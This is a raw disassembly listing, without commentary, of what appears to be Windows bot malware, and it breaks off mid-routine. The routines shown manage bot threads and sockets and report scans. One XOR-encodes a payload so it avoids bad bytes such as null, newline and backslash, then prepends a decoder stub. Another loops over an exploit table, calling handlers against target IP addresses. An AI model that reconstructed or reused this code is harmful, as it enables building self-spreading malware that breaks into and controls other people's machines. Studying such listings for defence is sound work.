push esi push edi push ebx call sub_40B4B8 add eax, 101h push eax call _malloc add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B4B8 pop ecx pop ecx push eax push esi call sub_40B4D8 push eax push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B64F push esi mov edi, eax call _free add esp, 24h mov eax, edi pop esi loc_40B630: ; CODE XREF: .text:0040B5E9j pop edi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_40B634 proc near ; CODE XREF: sub_40B5B0+Ep ; sub_40B64F+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B63D inc ecx loc_40B63D: ; CODE XREF: sub_40B634+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B64F(void *Dst,int,int,int) sub_40B64F proc near ; CODE XREF: .text:0040B61Dp var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B66B cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B66B cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B66B cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B66E loc_40B66B: ; CODE XREF: sub_40B64F+8j ; sub_40B64F+Ej ... inc [ebp+arg_C] loc_40B66E: ; CODE XREF: sub_40B64F+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B696 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B68F cmp al, 0Dh jz short loc_40B68F cmp al, 5Ch jz short loc_40B68F test al, al jnz short loc_40B696 loc_40B68F: ; CODE XREF: sub_40B64F+32j ; sub_40B64F+36j ... add [ebp+arg_C], 100h loc_40B696: ; CODE XREF: sub_40B64F+28j ; sub_40B64F+3Ej push [ebp+arg_C] call sub_40B634 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B6AE cmp eax, 0FFFFh jbe short loc_40B6B5 loc_40B6AE: ; CODE XREF: sub_40B64F+56j xor eax, eax jmp loc_40B753 ; --------------------------------------------------------------------------- loc_40B6B5: ; CODE XREF: sub_40B64F+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4E3250 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B6E5 loc_40B6C9: ; CODE XREF: sub_40B64F+94j mov al, [edx+edi] xor al, bl jz short loc_40B6DC cmp al, 0Ah jz short loc_40B6DC cmp al, 0Dh jz short loc_40B6DC cmp al, 5Ch jnz short loc_40B6E0 loc_40B6DC: ; CODE XREF: sub_40B64F+7Fj ; sub_40B64F+83j ... inc bl xor edx, edx loc_40B6E0: ; CODE XREF: sub_40B64F+8Bj inc edx cmp edx, ecx jb short loc_40B6C9 loc_40B6E5: ; CODE XREF: sub_40B64F+78j cmp ecx, esi mov byte_4E3250, bl ja short loc_40B711 push 15h ; Size push offset dword_4480C0 ; Src push [ebp+Dst] ; Dst mov byte_4480CD, cl mov byte_4480D1, bl call _memcpy add esp, 0Ch push 15h jmp short loc_40B732 ; --------------------------------------------------------------------------- loc_40B711: ; CODE XREF: sub_40B64F+9Ej push 17h ; Size push offset dword_4480A8 ; Src push [ebp+Dst] ; Dst mov word_4480B6, cx mov byte_4480BB, bl call _memcpy add esp, 0Ch push 17h loc_40B732: ; CODE XREF: sub_40B64F+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B74E mov edx, [ebp+Dst] lea esi, [ecx+edx] loc_40B740: ; CODE XREF: sub_40B64F+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B740 loc_40B74E: ; CODE XREF: sub_40B64F+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B753: ; CODE XREF: sub_40B64F+61j pop esi leave retn sub_40B64F endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B756(char *Source,int,int) sub_40B756 proc near ; CODE XREF: WinMain(x,x,x,x)+378p ; WinMain(x,x,x,x)+3B7p ... Source = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_455E18 loc_40B75E: ; CODE XREF: sub_40B756+18j cmp byte ptr [eax], 0 jz short loc_40B772 add eax, 234h inc edi cmp eax, offset dword_4E2E18 jl short loc_40B75E jmp short loc_40B7BD ; --------------------------------------------------------------------------- loc_40B772: ; CODE XREF: sub_40B756+Bj push esi mov esi, edi imul esi, 234h push 1FFh ; Count push [esp+0Ch+Source] ; Source lea eax, dword_455E18[esi] push eax ; Dest call _strncpy mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_456018[esi], eax and dword_45601C[esi], 0 mov eax, [esp+8+arg_8] and dword_456020[esi], 0 mov dword_456024[esi], eax and byte_456030[esi], 0 pop esi loc_40B7BD: ; CODE XREF: sub_40B756+1Aj mov eax, edi pop edi retn sub_40B756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7C1 proc near ; DATA XREF: sub_401CC7+297Ao var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] ; int mov dword ptr [eax+94h], 1 lea eax, [ebp+Str] push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_40B813 push [ebp+var_14] call sub_40BA72 add esp, 14h push 0 call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_40B7C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B813(int,char *Str,int,int) sub_40B813 proc near ; CODE XREF: sub_40B7C1+38p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_44819C ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h xor edi, edi mov esi, offset dword_455E18 loc_40B83D: ; CODE XREF: sub_40B813+78j cmp byte ptr [esi], 0 jz short loc_40B87E cmp [ebp+arg_C], 0 jnz short loc_40B851 cmp dword ptr [esi+204h], 0 jnz short loc_40B87E loc_40B851: ; CODE XREF: sub_40B813+33j push esi push edi lea eax, [ebp+Dest] push offset aD_S_0 ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 24h loc_40B87E: ; CODE XREF: sub_40B813+2Dj ; sub_40B813+3Cj add esi, 234h inc edi cmp esi, offset dword_4E2E18 jl short loc_40B83D pop edi pop esi leave retn sub_40B813 endp ; =============== S U B R O U T I N E ======================================= sub_40B891 proc near ; CODE XREF: sub_401CC7+7C6Cp ; sub_40B91F+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B919 cmp esi, 400h jge short loc_40B919 imul esi, 234h push edi push ebx push dword_45602C[esi] lea edi, dword_45602C[esi] call ds:dword_4F5380 ; TerminateThread cmp [edi], ebx jz short loc_40B8C9 push 1 pop ebp loc_40B8C9: ; CODE XREF: sub_40B891+33j mov [edi], ebx lea edi, dword_456020[esi] mov dword_456018[esi], ebx mov dword_45601C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B8EA push eax call sub_41A8AA pop ecx loc_40B8EA: ; CODE XREF: sub_40B891+50j mov [edi], ebx lea edi, dword_456024[esi] mov byte ptr dword_455E18[esi], bl mov byte_456030[esi], bl push dword ptr [edi] call dword_4E3190 ; closesocket lea esi, dword_456028[esi] mov [edi], ebx push dword ptr [esi] call dword_4E3190 ; closesocket mov [esi], ebx pop edi loc_40B919: ; CODE XREF: sub_40B891+Dj ; sub_40B891+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B891 endp ; =============== S U B R O U T I N E ======================================= sub_40B91F proc near ; CODE XREF: sub_401317+18p ; WinMain(x,x,x,x):loc_4019D3p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_455E18 loc_40B92B: ; CODE XREF: sub_40B91F+2Aj cmp byte ptr [esi], 0 jz short loc_40B93C push edi call sub_40B891 test eax, eax pop ecx jz short loc_40B93C inc ebx loc_40B93C: ; CODE XREF: sub_40B91F+Fj ; sub_40B91F+1Aj add esi, 234h inc edi cmp esi, offset dword_4E2E18 jl short loc_40B92B pop edi mov eax, ebx pop esi pop ebx retn sub_40B91F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B951 proc near ; CODE XREF: sub_401CC7+4188p ; sub_401CC7+42DAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_45601C loc_40B965: ; CODE XREF: sub_40B951+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B987 test edi, edi jle short loc_40B979 cmp [esi], edi jz short loc_40B979 cmp ebx, edi jnz short loc_40B987 loc_40B979: ; CODE XREF: sub_40B951+1Ej ; sub_40B951+22j push ebx call sub_40B891 test eax, eax pop ecx jz short loc_40B987 inc [ebp+var_4] loc_40B987: ; CODE XREF: sub_40B951+1Aj ; sub_40B951+26j ... add esi, 234h inc ebx cmp esi, offset dword_4E301C jl short loc_40B965 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B951 endp ; =============== S U B R O U T I N E ======================================= sub_40B99E proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp ; sub_401CC7+962p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_456018 loc_40B9A5: ; CODE XREF: sub_40B99E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B9AE inc eax loc_40B9AE: ; CODE XREF: sub_40B99E+Dj add ecx, 234h cmp ecx, offset dword_4E3018 jl short loc_40B9A5 retn sub_40B99E endp ; =============== S U B R O U T I N E ======================================= sub_40B9BD proc near ; CODE XREF: sub_401CC7+2424p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_456018 loc_40B9C7: ; CODE XREF: sub_40B9BD+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B9E0 add ecx, 234h inc edx cmp ecx, offset dword_4E3018 jl short loc_40B9C7 pop esi retn ; --------------------------------------------------------------------------- loc_40B9E0: ; CODE XREF: sub_40B9BD+10j mov eax, edx pop esi retn sub_40B9BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B9E4(int,int,int,int,int,int,int,char *Str) sub_40B9E4 proc near ; CODE XREF: sub_401CC7+1057p ; sub_401CC7+125Dp ... Dest = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h Str = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+Str], eax jz short loc_40B9FD push [ebp+Str] ; Str call _atoi pop ecx loc_40B9FD: ; CODE XREF: sub_40B9E4+Ej push eax push [ebp+arg_18] call sub_40B951 pop ecx test eax, eax pop ecx jle short loc_40BA29 push eax lea eax, [ebp+Dest] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax ; Dest call _sprintf add esp, 14h jmp short loc_40BA43 ; --------------------------------------------------------------------------- loc_40BA29: ; CODE XREF: sub_40B9E4+26j push [ebp+arg_14] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax ; Dest call _sprintf add esp, 10h loc_40BA43: ; CODE XREF: sub_40B9E4+43j cmp [ebp+arg_C], 0 jnz short loc_40BA63 push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_40BA63: ; CODE XREF: sub_40B9E4+63j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx leave retn sub_40B9E4 endp ; =============== S U B R O U T I N E ======================================= sub_40BA72 proc near ; CODE XREF: sub_4019E7+159p ; sub_40B7C1+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_45602C[eax], ecx mov dword_456018[eax], ecx mov dword_45601C[eax], ecx mov dword_456020[eax], ecx mov dword_456024[eax], ecx mov dword_456028[eax], ecx mov byte ptr dword_455E18[eax], cl mov byte_456030[eax], cl retn sub_40BA72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAAF proc near ; CODE XREF: sub_401CC7+7F03p ; sub_40BBDD+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40BAB9: ; CODE XREF: sub_40BAAF+68j mov cl, [esi] test cl, cl jz short loc_40BB19 cmp eax, 1 jnz short loc_40BB19 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40BB19 cmp cl, 2Ah jz short loc_40BB00 cmp cl, 3Fh jz short loc_40BAE3 cmp cl, 5Bh jz short loc_40BAE8 xor eax, eax cmp cl, dl setz al loc_40BAE3: ; CODE XREF: sub_40BAAF+26j inc [ebp+arg_4] jmp short loc_40BB13 ; --------------------------------------------------------------------------- loc_40BAE8: ; CODE XREF: sub_40BAAF+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40BB45 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40BB13 ; --------------------------------------------------------------------------- loc_40BB00: ; CODE XREF: sub_40BAAF+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40BBDD mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40BB13: ; CODE XREF: sub_40BAAF+37j ; sub_40BAAF+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40BAB9 ; --------------------------------------------------------------------------- loc_40BB19: ; CODE XREF: sub_40BAAF+Ej ; sub_40BAAF+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40BB29 cmp eax, 1 jnz short loc_40BB40 inc esi mov [ebp+arg_0], esi jmp short loc_40BB19 ; --------------------------------------------------------------------------- loc_40BB29: ; CODE XREF: sub_40BAAF+6Dj cmp eax, 1 jnz short loc_40BB40 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40BB40 cmp byte ptr [esi], 0 jnz short loc_40BB40 push 1 pop eax jmp short loc_40BB42 ; --------------------------------------------------------------------------- loc_40BB40: ; CODE XREF: sub_40BAAF+72j ; sub_40BAAF+7Dj ... xor eax, eax loc_40BB42: ; CODE XREF: sub_40BAAF+8Fj pop esi pop ebp retn sub_40BAAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB45 proc near ; CODE XREF: sub_40BAAF+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40BB66 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40BB66: ; CODE XREF: sub_40BB45+19j push ebx push esi loc_40BB68: ; CODE XREF: sub_40BB45+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40BB76 cmp [ebp+var_4], eax jnz short loc_40BBC2 loc_40BB76: ; CODE XREF: sub_40BB45+2Aj test edi, edi jnz short loc_40BBB7 cmp bl, 2Dh jnz short loc_40BBAB mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40BBAB cmp al, 5Dh jz short loc_40BBAB cmp [ebp+var_4], edi jnz short loc_40BBAB mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40BBB7 cmp bl, al jg short loc_40BBB7 push 1 mov [edx], esi pop edi jmp short loc_40BBB7 ; --------------------------------------------------------------------------- loc_40BBAB: ; CODE XREF: sub_40BB45+38j ; sub_40BB45+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40BBB7 push 1 pop edi loc_40BBB7: ; CODE XREF: sub_40BB45+33j ; sub_40BB45+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40BB68 ; --------------------------------------------------------------------------- loc_40BBC2: ; CODE XREF: sub_40BB45+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40BBCF mov ecx, eax sub ecx, edi mov edi, ecx loc_40BBCF: ; CODE XREF: sub_40BB45+82j cmp edi, eax jnz short loc_40BBD8 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40BBD8: ; CODE XREF: sub_40BB45+8Cj mov eax, edi pop edi leave retn sub_40BB45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BBDD proc near ; CODE XREF: sub_40BAAF+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40BBF9: ; CODE XREF: sub_40BBDD+3Aj cmp [eax], bl jz short loc_40BC19 mov cl, [ecx] cmp cl, 3Fh jz short loc_40BC0E cmp cl, 2Ah jnz short loc_40BC19 cmp cl, 3Fh jnz short loc_40BC11 loc_40BC0E: ; CODE XREF: sub_40BBDD+25j inc eax mov [edi], eax loc_40BC11: ; CODE XREF: sub_40BBDD+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40BBF9 ; --------------------------------------------------------------------------- loc_40BC19: ; CODE XREF: sub_40BBDD+1Ej ; sub_40BBDD+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40BC24 inc dword ptr [esi] jmp short loc_40BC19 ; --------------------------------------------------------------------------- loc_40BC24: ; CODE XREF: sub_40BBDD+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40BC45 mov edx, [esi] cmp [edx], bl jz short loc_40BC36 xor eax, eax jmp short loc_40BCA5 ; --------------------------------------------------------------------------- loc_40BC36: ; CODE XREF: sub_40BBDD+53j cmp cl, bl jnz short loc_40BC45 mov ecx, [esi] cmp [ecx], bl jnz short loc_40BC45 push 1 pop eax jmp short loc_40BCA5 ; --------------------------------------------------------------------------- loc_40BC45: ; CODE XREF: sub_40BBDD+4Dj ; sub_40BBDD+5Bj ... push eax push dword ptr [esi] call sub_40BAAF pop ecx test eax, eax pop ecx jnz short loc_40BC8F loc_40BC53: ; CODE XREF: sub_40BBDD+B0j inc dword ptr [edi] mov eax, [edi] loc_40BC57: ; CODE XREF: sub_40BBDD+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40BC6F cmp cl, 5Bh jz short loc_40BC6F cmp dl, bl jz short loc_40BC6F inc eax mov [edi], eax jmp short loc_40BC57 ; --------------------------------------------------------------------------- loc_40BC6F: ; CODE XREF: sub_40BBDD+82j ; sub_40BBDD+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40BC86 push eax push dword ptr [esi] call sub_40BAAF neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40BC8B ; --------------------------------------------------------------------------- loc_40BC86: ; CODE XREF: sub_40BBDD+96j mov [ebp+var_4], ebx xor eax, eax loc_40BC8B: ; CODE XREF: sub_40BBDD+A7j cmp eax, ebx jnz short loc_40BC53 loc_40BC8F: ; CODE XREF: sub_40BBDD+74j mov eax, [edi] cmp [eax], bl jnz short loc_40BCA2 mov eax, [esi] cmp [eax], bl jnz short loc_40BCA2 mov [ebp+var_4], 1 loc_40BCA2: ; CODE XREF: sub_40BBDD+B6j ; sub_40BBDD+BCj mov eax, [ebp+var_4] loc_40BCA5: ; CODE XREF: sub_40BBDD+57j ; sub_40BBDD+66j pop edi pop esi pop ebx leave retn sub_40BBDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BCAA(int,char *Str,int) sub_40BCAA proc near ; CODE XREF: sub_401CC7+2AE6p Source = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+Dest] push offset asc_4485BC ; "-" push eax ; Dest xor ebx, ebx call _sprintf cmp dword_448220, ebx pop ecx pop ecx mov edi, 200h jz short loc_40BD1C push esi mov esi, offset dword_448228 loc_40BCDD: ; CODE XREF: sub_40BCAA+6Fj mov eax, [esi] test eax, eax jbe short loc_40BD12 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+Source] push offset asc_4485DC ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esp, 1Ch loc_40BD12: ; CODE XREF: sub_40BCAA+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40BCDD pop esi loc_40BD1C: ; CODE XREF: sub_40BCAA+2Bj push dword_4E2E1C call sub_41B76F pop ecx push eax push ebx lea eax, [ebp+Source] push offset aTotalDInS_ ; " Total: %d in %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 34h pop edi pop ebx leave retn sub_40BCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BD79(int,char *Str,int) sub_40BD79 proc near ; CODE XREF: sub_401CC7+2AD0p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4E5C18 mov ecx, dword_4E5C14 push esi push dword_4E2E1C lea esi, [ecx+eax] call sub_41B76F pop ecx push eax push esi push dword_4E5C18 lea eax, [ebp+Dest] push dword_4E5C14 push offset asc_4485FC ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 30h pop esi leave retn sub_40BD79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BDE5(int,char *Str,int) sub_40BDE5 proc near ; CODE XREF: sub_401CC7+2ABAp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4E2E1C call sub_41B76F pop ecx push eax lea eax, [ebp+Dest] push dword_4E5E74 push offset asc_448644 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 28h leave retn sub_40BDE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BE3A(int,char *Str,int) sub_40BE3A proc near ; CODE XREF: sub_401CC7+2AA4p Source = byte ptr -1000h Dest = byte ptr -800h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call __alloca_probe push edi lea eax, [ebp+Dest] push offset asc_448670 ; "-" push eax ; Dest call _sprintf cmp dword_448220, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BEA6 push esi mov esi, offset aSymantec ; "Symantec" loc_40BE6F: ; CODE XREF: sub_40BE3A+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+Source] push offset asc_44868C ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BE6F pop esi loc_40BEA6: ; CODE XREF: sub_40BE3A+2Dj push dword_4E2E1C call sub_41B76F pop ecx push eax lea eax, [ebp+Source] push offset aScanTimeS_ ; " Scan Time: %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 30h pop edi leave retn sub_40BE3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF01 proc near ; DATA XREF: sub_401CC7+30DAo Dest = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch Format = byte ptr -134h Str = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+Format] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+Format] push eax call dword_4E3138 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_448220, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40C063 mov ebx, offset dword_448220 mov eax, ebx loc_40BF52: ; CODE XREF: sub_40BF01+15Cj push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40C6E7 add esp, 0Ch cmp eax, 1 jnz loc_40C053 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+Format] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+Dest] push offset asc_4486AC ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 2Ch lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_1EC] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_15C] pop ecx push esi ; Format push eax ; Dest call _sprintf cmp [ebp+var_A4], 0 pop ecx pop ecx lea eax, [ebp+var_A4] jnz short loc_40BFEE lea eax, [ebp+Str] loc_40BFEE: ; CODE XREF: sub_40BF01+E5j push eax ; Format lea eax, [ebp+var_1DC] push eax ; Dest call _sprintf mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40C053: ; CODE XREF: sub_40BF01+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BF52 loc_40C063: ; CODE XREF: sub_40BF01+44j push [ebp+var_4] lea eax, [ebp+Format] push eax lea eax, [ebp+Dest] push offset asc_4486DC ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_18] call sub_40BA72 add esp, 2Ch push edi call ds:dword_4F53A0 ; ExitThread sub_40BF01 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C0B6(int,char *Str,int,int) sub_40C0B6 proc near ; CODE XREF: sub_401CC7+243Fp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B99E test eax, eax pop ecx jle short loc_40C0F2 mov eax, [ebp+arg_C] push 